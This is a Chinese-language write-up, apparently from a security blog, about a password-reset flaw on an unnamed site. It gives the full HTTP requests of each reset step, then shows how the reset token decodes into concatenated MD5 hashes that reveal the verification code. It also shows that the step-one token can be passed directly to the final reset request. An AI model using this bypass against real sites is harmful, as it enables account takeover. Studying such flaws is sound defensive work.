token安全之任意密码重置

前言

偶然间挖了一个漏洞是密码重置，挖掘过程颇有趣，能够参考下。

挖掘过程

在说明以前咱们能够先走下正常流程，这样才方便查漏~

正常流程

第一步骤:

正常填写完，点击下一步发送请求:

POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 37 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close userName=用户名/手机号/邮箱&code=验证码

得到对应的响应报文:

HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 217 Connection: close Server: nginx/1.12.2 {"code":200,"data":{"username":"用户名" ,"mobile":"手机号","email":"邮箱","token":"3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6"},"msg":"ok"}

第二步骤:

获取验证码->输入验证码-进入第三步骤:

输入验证码进入第三步骤的请求包:

POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 133 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close receiver=email&token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685

第三步骤重置密码请求包:

POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 133 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&pwd=mstsecsb123&checkPwd=mstsecsb123

分析流程

由于这里主要的目标是逻辑漏洞，因此其余类型的就不做研究~

分析并验证可疑点:

1.第一步骤返回包中能获取到的东西

名字	类型
username	正常 [明文]
mobile	打码 [138***888]
email	打码 [123***1@..]
token	正常 [加密处理过]

这里先给token划上疑问>其是否能够逆向？

这里的token值跟md5加密很类似，可是长度不同(MD5长度为16位/32位)

因此大胆的猜测这里的token值多是由多个md5拼接组成

获得token的值为96位除以根据MD5的长度(16位/32位)，得出多是由三组或者六组组成，这里我很幸运由于我按照三组的方式解密竟然发现解密出来了，这里先按照32位分割:

而后丢去解密:

Md5	Text
3c6e0b8a9c15224a8228b9a98ca1531d	key [用户名]
f72f78a365657d56853b6867fb37dc3c	6685 [时间戳]
444bcb3a3fcf8389296c49467f27e1d6	ok [返回消息正文 "msg":"ok"]

结论: Token可逆向

2.根据结论分析第二步骤验证码是否跟token有关联:

token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685

结论: 直接从逆向token操做中能够了解到二者之间是有关联的有token就能知道重置密码的验证码

3.根据结论分析第二步骤是不是必要操做:

这里直接根据第一步骤获取的内容带入到第三步骤，彻底能够成功重置密码，发现彻底能够绕过第二步骤的验证。

结论: 直接把第一步返回的token带入第三步骤便可重置密码

结尾